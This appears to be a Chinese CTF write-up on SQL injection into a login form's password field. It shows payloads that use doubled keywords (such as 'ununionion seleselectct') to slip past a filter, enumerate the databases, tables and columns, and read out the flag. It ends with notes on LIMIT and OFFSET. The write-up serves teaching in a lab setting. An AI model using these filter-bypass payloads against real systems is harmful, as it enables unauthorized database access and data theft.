双写绕过
通过在username和password中构造可疑闭合点
1 2 3
| username:admin'、admin"、admin")、admin')
password:admin'、admin"、admin")、admin')
|
发现注入点在password,且闭合是单引号,我们可以通过双写绕过的方式来进行联合注入
构造payload
1 2 3 4 5 6 7 8 9 10 11 12
| 爆数据库 admin' ununionion seleselectct group_concat(schema_name),group_concat(schema_name),group_concat(schema_name) frfromom infoorrmation_schema.schemata limit 1 offset 0--+
报数据表 admin' ununionion seleselectct group_concat(table_name),group_concat(table_name),group_concat(table_name) frfromom infoorrmation_schema.tables limit 1 offset 0%23 admin' ununionion seleselectct table_name,table_name,table_name frfromom infoorrmation_schema.tables limit 1 offset 0%23
报数据列 admin' ununionion seleselectct column_name,column_name,column_name frfromom infoorrmation_schema.columns whwhereere table_name='Flag' limit 1 offset 0%23
爆数据列中的内容 admin' ununionion seleselectct flag,flag,flag frfromom ctf.Flag limit 1 offset 0%23
|
其中
的解析:
1 2 3 4 5 6 7 8
| select * from table limit 2,1; //跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据
select * from table limit 2 offset 1; //从第1条(不包括)数据开始取出2条数据,limit后面跟的是2条数据,offset后面是从第1条开始读取,即读取第2,3条
|